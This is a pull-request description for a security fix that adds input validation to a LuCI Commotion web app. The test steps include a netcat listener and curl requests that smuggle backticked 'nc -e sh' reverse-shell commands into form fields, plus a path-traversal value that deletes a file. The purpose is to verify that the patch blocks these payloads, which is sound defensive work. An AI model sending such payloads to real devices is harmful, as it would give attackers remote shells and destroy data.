added input validation and sanitizing for mitigating RCE vulnerabilities

works in conjunction with https://github.com/opentechinstitute/luci-commotion/pull/29

part of fix for opentechinstitute/luci-commotion-apps#10, opentechinstitute/luci-commotion-apps#11, opentechinstitute/luci-commotion-apps#13

to test, first set up a netcat listener:

`nc -l 4444 -v`

then, running the following commands as a client should *not* open a reverse shell to your netcat listener:

`curl -v -X POST http://101.8.21.1/cgi-bin/luci/apps/add_submit -d "name=jjj&description=jjj&ipaddr=%60nc%09-e%09sh%09101.8.21.10%094444%60&type=Community&icon=%2Ficon&port=&ttl="`

`curl -v -X POST http://101.8.21.1/cgi-bin/luci/apps/add_submit -d "name=jjj&description=jjj&ipaddr=127.0.0.1&uuid=%60nc%09-e%09sh%09101.8.21.10%094444%60&type=Community&icon=%2Ficon&port=80&ttl=0"`

replacing 101.8.21.1 with the node's IP address, and 101.8.21.10 with your client IP address.

Finally, running the following command should *not* delete /README.md from the root of the node's filesystem:

`curl -v -X POST http://101.8.21.1/cgi-bin/luci/apps/add_submit -d "name=jjj&description=jjj&ipaddr=127.0.0.1&uuid=../../../README.md%20&type=Community&icon=%2Ficon&port=80&ttl=0"`

again replacing 101.8.21.1 with the node's IP address.